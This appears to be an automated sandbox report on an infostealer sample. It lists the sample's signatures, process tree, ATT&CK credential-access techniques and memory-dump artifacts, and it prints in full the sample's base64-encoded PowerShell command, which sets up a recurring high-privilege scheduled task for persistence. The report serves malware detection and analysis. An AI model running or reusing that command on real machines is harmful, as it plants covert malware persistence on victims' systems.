Analysis
- max time kernel
149s - max time network
138s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
02/10/2026, 21:53
General
- Target 2026-10-02_fabeee30119aa251be628359f51fcded_akira_elex.exe
- Size 2.0MB
- Sample261002-1r52dstepc
- SHA256 e76c859a552836c15f184ed3829767779e659ab58c408947105f523ebe3c89c9
Malware Config
Signatures
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-02_fabeee30119aa251be628359f51fcded_akira_elex.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-02_fabeee30119aa251be628359f51fcded_akira_elex.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwB0AHcAaQBzAHQAZQBkAC4AZQB4AGUAJwAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXAB0AHcAaQBzAHQAZQBkAC4AZQB4AGUAJwApACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ATwBuAGMAZQAgAC0AQQB0ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAgAC0AUgBlAHAAZQB0AGkAdABpAG8AbgBJAG4AdABlAHIAdgBhAGwAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBNAGkAbgB1AHQAZQBzACAANQApACkAIAAtAFUAcwBlAHIAIAAkAGUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlACAALQBSAHUAbgBMAGUAdgBlAGwAIABIAGkAZwBoAGUAcwB0ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0AUwBlAGMAbwBuAGQAcwAgADAAKQAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAKQAgAC0ARgBvAHIAYwBlAA==2⤵
- Enumerates connected drives
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_gc035ps4.5sq.ps1
memory/2328-9-0x00000000059D0000-0x0000000005A4A000-memory.dmp
memory/2328-10-0x0000000005B10000-0x0000000005B20000-memory.dmp
memory/2328-11-0x0000000005B10000-0x0000000005B20000-memory.dmp
memory/2328-12-0x0000000005C40000-0x0000000005C60000-memory.dmp
memory/2328-13-0x0000000005C70000-0x0000000005CB0000-memory.dmp
memory/2328-58-0x0000000007240000-0x00000000077E4000-memory.dmp
memory/2328-57-0x0000000006BF0000-0x0000000006C82000-memory.dmp
memory/2328-54-0x0000000005B10000-0x0000000005B20000-memory.dmp
memory/2328-50-0x0000000005B10000-0x0000000005B20000-memory.dmp
memory/2328-49-0x0000000005B10000-0x0000000005B20000-memory.dmp
memory/2328-8-0x0000000005B10000-0x0000000005B20000-memory.dmp
memory/3524-30-0x000000007F190000-0x000000007F1A0000-memory.dmp
memory/3524-44-0x0000000007A00000-0x000000000807A000-memory.dmp
memory/3524-28-0x0000000006050000-0x000000000606E000-memory.dmp
memory/3524-29-0x00000000060A0000-0x00000000060EC000-memory.dmp
memory/3524-18-0x0000000005990000-0x00000000059F6000-memory.dmp
memory/3524-31-0x0000000007010000-0x0000000007042000-memory.dmp
memory/3524-32-0x000000006FBD0000-0x000000006FC1C000-memory.dmp
memory/3524-42-0x0000000002AA0000-0x0000000002AB0000-memory.dmp
memory/3524-41-0x0000000002AA0000-0x0000000002AB0000-memory.dmp
memory/3524-40-0x0000000007250000-0x000000000726E000-memory.dmp
memory/3524-43-0x0000000007270000-0x0000000007313000-memory.dmp
memory/3524-27-0x0000000005BE0000-0x0000000005F34000-memory.dmp
memory/3524-45-0x00000000073C0000-0x00000000073DA000-memory.dmp
memory/3524-46-0x0000000007420000-0x000000000742A000-memory.dmp
memory/3524-47-0x0000000007630000-0x00000000076C6000-memory.dmp
memory/3524-48-0x00000000075D0000-0x00000000075E1000-memory.dmp
memory/3524-19-0x0000000005A70000-0x0000000005AD6000-memory.dmp
memory/3524-17-0x00000000058F0000-0x0000000005912000-memory.dmp
memory/3524-16-0x0000000005150000-0x0000000005778000-memory.dmp
memory/3524-15-0x0000000002AA0000-0x0000000002AB0000-memory.dmp
memory/3524-14-0x0000000002AB0000-0x0000000002AE6000-memory.dmp